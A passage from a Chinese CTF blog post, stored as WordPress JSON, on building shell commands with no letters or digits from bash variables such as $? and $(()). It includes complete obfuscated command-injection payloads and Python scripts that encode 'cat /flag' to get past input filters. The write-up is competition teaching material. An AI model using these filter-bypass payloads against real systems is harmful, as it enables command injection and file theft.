__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\<\\<\\<\\$\\'\\\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\\'<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u76f4\u63a5\u50cf\u4e4b\u524d\u4e00\u6837POST\u6211\u4eec\u7684payload\u7684\u8bdd\u62a5\u6587\u91ccpayload\u5e76\u6ca1\u6709\u88ab\u5f53\u4f5c\u4e00\u4e2a\u6574\u4f53\u89e3\u6790\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5url\u7f16\u7801\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6210\u529f\u6267\u884c\u3002<\/p>\n\n\n\n
\u5229\u7528\u811a\u672c\uff1a<\/p>\n\n\n\n
cmd='cat \/flag'\n\npayload='__=${?}&&___=$((++__))&&____=$((++___))&&_____=${?}&&${!_____}<<<${!_____}\\\\<\\\\<\\\\<\\\\$\\\\\\''\nfor c in cmd:\n        payload+=f'\\\\\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')\n\npayload+='\\\\\\''\n\nprint(payload)<\/code><\/pre>\n\n\n\n
\u5229\u7528$(())\u6784\u9020<\/h2>\n\n\n\n
\u5229\u7528$(())\u6784\u9020\u662fg4\u5e08\u5085\u51fa\u7684\u6781\u9650\u547d\u4ee4\u6267\u884c\u6700\u540e\u7684\u9884\u671f\u89e3\uff0c\u4e0d\u8fc7g4\u5e08\u5085\u4f7f\u7528\u7684\u662f\u6309\u4f4d\u53d6\u53cd\u7684\u65b9\u6cd5\u6784\u9020\u51fa\u4e86payload\uff0c\u6211\u8fd9\u91cc\u7ed9\u51fa\u4e00\u79cd\u4e0d\u7528\u53d6\u53cd\u7684payload\u3002<\/p>\n\n\n\n
linux\u91cc\u53ef\u4ee5\u901a\u8fc7__=$(())<\/code>\u7684\u65b9\u5f0f\u5c06\u53d8\u91cf\u7684\u503c\u8bbe\u7f6e\u4e3a0\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6709\u4e860\u6211\u4eec\u81ea\u7136\u53ef\u4ee5\u50cf\u5229\u7528$?\u8fdb\u884c\u6784\u9020\u7684\u65b9\u5f0f\u4e00\u6837\u901a\u8fc7\u81ea\u589e\u7ee7\u7eed\u6784\u9020\uff1a<\/p>\n\n\n\n
__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\<\\<\\<\\$\\'\\\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${__}${__}))\\\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\\\$((${____}#${__}${_____}${__}${_____}${_____}${__}${_____}${_____}))\\\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\\\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${_____}))\\\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\\\$((${____}#${__}${_____}${_____}${_____}${__}${__}${_____}${__}))\\\\$((${____}#${__}${_____}${_____}${__}${_____}${_____}${__}${__}))\\'<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u540c\u6837\u7684\uff0cPOST\u7684\u8bdd\u8bb0\u5f97\u7f16\u7801\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u6211\u4eec\u7684payload\u5176\u5b9e\u4e5f\u5c31\u66ff\u6362\u4e86\u4e24\u4e2axx=$(())\uff0c\u6240\u4ee5\u5982\u679c\u5927\u5bb6\u8fd8\u627e\u5230\u4ec0\u4e48\u503c\u4e3a\u96f6\u7684\u53d8\u91cf\u7684\u8bdd\u66ff\u6362\u8fd9\u4e24\u4e2a\u5373\u53ef\u3002<\/p>\n\n\n\n
\u5229\u7528\u811a\u672c\uff1a<\/p>\n\n\n\n
cmd='cat \/flag'\n\npayload='__=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\\\\<\\\\<\\\\<\\\\$\\\\\\''\nfor c in cmd:\n        payload+=f'\\\\\\\\$((2#{bin(int(oct(ord(c))[2:]))[2:]}))'.replace('1','${__}').replace('2','${____}').replace('0','${_____}')\n\npayload+='\\\\\\''\n\nprint(payload)<\/code><\/pre>\n\n\n\n
\u540e\u8bb0<\/h2>\n\n\n\n
\u672c\u8d28\u4e0a\u8fd8\u662f\u53c2\u8003\u4e86\u4e00\u4e9b\u4f18\u79c0\u5e08\u5085\u7684\u601d\u8def\uff0c\u4e0d\u8fc7\u6700\u540e\u8d70\u51fa\u4e86\u4e00\u6761\u5c5e\u4e8e\u81ea\u5df1\u7684\u8def\u8fd8\u662f\u633a\u5f00\u5fc3\u7684\uff0c\u5404\u4f4d\u5927\u4f6c\u8f7b\u55b7\u3002<\/p>\n\n\n\n
\u53c2\u8003<\/h2>\n\n\n\n
CTFshow-\u5468\u672b\u5927\u6311\u6218\u5b98\u65b9wp<\/a><\/p>\n\n\n\n
Web-Bash-Vino0o0o<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"
\u672c\u6587\u9996\u53d1\u4e8e\u5148\u77e5\u8bba\u575b\uff1a\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4 \u672c\u6765\u60f3\u6295\u8df3\u8df3\u7cd6\u7684\uff0c\u9646\u961f\u7ed9\u6211\u8bf4\u8df3\u8df3\u7cd6\u4e0d\u5f81\u7a3f\u4e86\uff0c\u6211\u81ea […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1127","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=1127"}],"version-history":[{"count":1,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1127\/revisions"}],"predecessor-version":[{"id":1153,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/1127\/revisions\/1153"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=1127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=1127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=1127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}